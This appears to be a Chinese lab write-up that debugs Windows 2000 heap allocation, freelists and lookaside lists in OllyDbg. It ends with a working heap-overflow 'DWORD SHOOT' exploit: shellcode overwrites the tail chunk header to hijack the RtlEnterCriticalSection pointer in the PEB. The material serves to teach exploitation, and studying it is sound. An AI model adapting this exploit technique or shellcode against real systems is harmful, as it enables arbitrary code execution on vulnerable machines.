实验环境:
推荐使用环境 | 备注 | |
---|---|---|
操作系统 | Windows20000虚拟机 | 分配策略对操作系统非常敏感 |
编译器 | Visual C++ 6.0 | 默认编译选项 |
编译选项 | 默认编译选项 | VS2003/VS2005的GS选项将导致实验失败 |
build 版本 | release | VS2003/VS2005的GS选项将导致实验失败 |
调试器 | Ollydbg | 需要配置Make OllyDbg just-in-time debugger选项 |
调试代码如下:
#include
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
// free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); // coalese h3,h4,h5,link the large block to freelist[8]
return 0;
}
调试过程:
(1)在 VC6.0 中设置 build 为 Release 版本,并在 OllyDbg 中 “Options” 菜单中选中 “Just-in-time debugging”,单击 “Make OllyDbg just-in-time debugger”,然后单击 “Done” 按钮确认。
(2)运行上面程序之后,在系统出现错误提示的时候,选择“取消”,将会进入OD进行调试:
(3)使用Alt+M可以查看当前内存映射状态,一般来说,进程中会存在若干堆区,如下:
在程序初始化过程中,malloc 使用的堆和进程堆都已经经过了若干次分配和释放操作,里边的堆块相对比较“凌乱”。因此,我们在程序中使用 HeapCreate() 函数创建一个新的堆进行分析。
HeapCreate()成功地创建了堆区之后,会把整个堆区的起始地址返回给 EAX,这里是0x00360000:
通过 Ctrl+G 到 0x00360000 的内存中进行查看, 从 0x00360000 开始,堆表中包含的信息依次是段表索引(Segment List)、虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。
我们主要观察偏移 0x178 处的空表索引区,偏移0x00360178即为是空表的头。
可以看到:
堆块的分配细节如下:
所以对于我们程序中的前 6 次连续的内存请求,实际分配情况如下:
堆句柄 | 请求字节数 | 实际分配(堆单位) | 实际分配(字节) |
---|---|---|---|
H1 | 3 | 2 | 16 |
H2 | 5 | 2 | 16 |
H3 | 6 | 2 | 16 |
H4 | 8 | 2 | 16 |
H5 | 19 | 4 | 32 |
H6 | 24 | 4 | 32 |
在CPU窗口,命令F8单步执行程序到地址:0x0040102B处,这时我们执行完了
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 3)
当h1被分配以后直接查看freelist[0](0x00360178),发现指向的地址由0x00360688变成了0x00360698:
接着查看0x00360698:
从图中可以看出:分配给h1的大小为0x0002, size=16bytes
继续单步运行到地址0x00401059,将h1~h6全部分配完,此时查看0x00360178指向了0x00360708:
查看0x00360708:
可以发现,如今的尾块长度为0x0120个堆单位。一开始时为0x0130个堆单位,差值为16个堆单位,这恰恰是前六次分配出去的内存之和。
根据最后一次调用HeapAlloc后EAX中返回的指针,我们可以找到最后一次分配的内存位置:
然后再往前搜索,可以发现前5次的分配。在下图中,我们用前6个红框标出了6次分配所得堆块的块首:
可以看到实际分配的堆单位符合表中的2、2、2、2、4、4。第7个红框标出的是新的尾块的块首,即尾块不断向后移动。
单步运行至0x00401077处,此时释放了堆块 h1、h3、h5。
可知:h1、h3分别被释放到 freelist[2] 空表中, h5被释放到了freelist[4]空表中。此时freelistp[2]的前向指针指向关系为:0x00360688→0x00360A88→0x00360188,其他类似。
由于这三次释放的堆块在内存中不连续,所以不会发生合并。到目前为止,有三个空闲链表上有空闲块,分别是freelist[0]、freelist[2]、freelist[4]。
继续将程序运行到 0x401080地址处,即执行了如下代码:
HeapFree(hp,0,h4);
当释放h4的时候由于出现了两个连续的空闲块,所以会发生堆块的合并现象。h3、h4、h5彼此相邻,它们合并后是8个堆单位,所以将被链入freelist[8]。
可以看到原来链接着h1、h3的Freelist[2]现在只剩h1(0x00360688),而Freelist[8]则链接了合并过后的新块(0x003606A8)。
我们来看0x003606A8,可以看到合并后的新块大小已经被修改为 0x0008,其空表指针指向 0x005201B8,也就是 freelist[8]的地址。
调试代码如下:
#include
#include
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0, 0, 0);
__asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h4);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
HeapFree(hp, 0, h2);
}
同样的方式用OD进行调试,查看 0x00360178 内存地址:
可以发现,freelist[0] 中的尾块的位置不在 0x00360688 了,那个位置被快表占据。
去 0x00360688 看一下当前的快表,可以看到堆刚初始化后快表是空的:
下面,首先从FreeList[0]中依次申请8、8、16、24字节的内存,然后进行释放到快表中(快表未满时优先释放到快表中)。根据三个堆块的大小我们可以知道8字节的会被释放到Lookaside[1]中、16字节的会被释放到Lookaside[2]中、24字节的会被释放到Lookaside[3]中。
接下来我们把程序运行到第四次释放之后。我们释放的空间依次是(包含块首)16、16、24、32,由于快表此时未满,所以它们被插入快表中,分别插在lookaside[1]、[2]、[3]中,如下:
链在快表中的堆块块首的Flag值为0x01,即Busy。
继续将断点下在下面这行代码之后:
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
由于h2的再次被申请,而优先从快表中分配,所以lookaside[2]会再次变为空,如下:
调试代码:
#include
main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
// free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); // now freelist[2] got 3 entries
// will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
上述代码中申请六次空间,然后释放三次,把奇数次申请的空间释放掉(避免堆块合并),此时freelist[2]中应该链入了三个空闲堆块h1、h3、h5。
在此之后,倒数第二行代码再次申请空间,会导致freelist[2]的最后一个堆块(即之前的h5)被卸下。如果我们在调用申请函数的汇编指令之前把h5的前后指针按照前面所描述的方式修改掉,就会出现“DWORD SHOOT”。
我们将断点下载执行完六次申请、三次释放后,即将执行最后一次申请前调试状态如下:
Freelist[2]前向指针指向0x00360688(即h1)
继续查看0x00360688,如下
此时EBP的值为:0x0012FF80
下面我们的目标是通过 DWORD SHOOT 向EBP所指的栈帧位置写入 0x77777777,我们选中内存区域中 0x003606C8 对应的部分,按空格,将 flink 修改为 payload,将 blink 修改为目标地址,如下:
然后将程序继续运行,查看栈帧中 0x0012FF80 的位置,发现已经被成功覆盖为了 0x77777777:
以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,练习一下DWORDSHOOT 后,劫持进程、植入代码的全套动作。
首先是正常的调试代码如下:
#include
//200Bytes 0x90
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
//memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
运行后在可以看到尾块的地址为0x00360758
继续执行memcpy后,我们观察0x00360688处开始的数据:
可以看到在200个0x90后正好是尾块块首的开始。所以一旦 shellcode 超过200字节,就将覆盖尾块块首。那么当h2再次申请空间时,就会导致 DWORD SHOOT。
下面我们就需要构造相应的 payload,需要注意的点如下:
还有一个需要注意的地方是由于shellcode中的函数也要使用到被我们后面修改的PEB中的函数指针,所以我们在shellcode的开头需要修复一下函数指针:
mov eax, 7ffdf020
mov ebx, 77f82060
mov [eax], ebx
造成溢出的利用代码如下:
#include
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\xF0\xFD\x7F\xBB\x60\x20\xF8\x77\x89\x18\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90\x90\x90\x90\x90\x90\x16\x01\x1A\x00\x00\x10\x00\x00\x88\x06\x36\x00\x20\xf0\xfd\x7f";
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}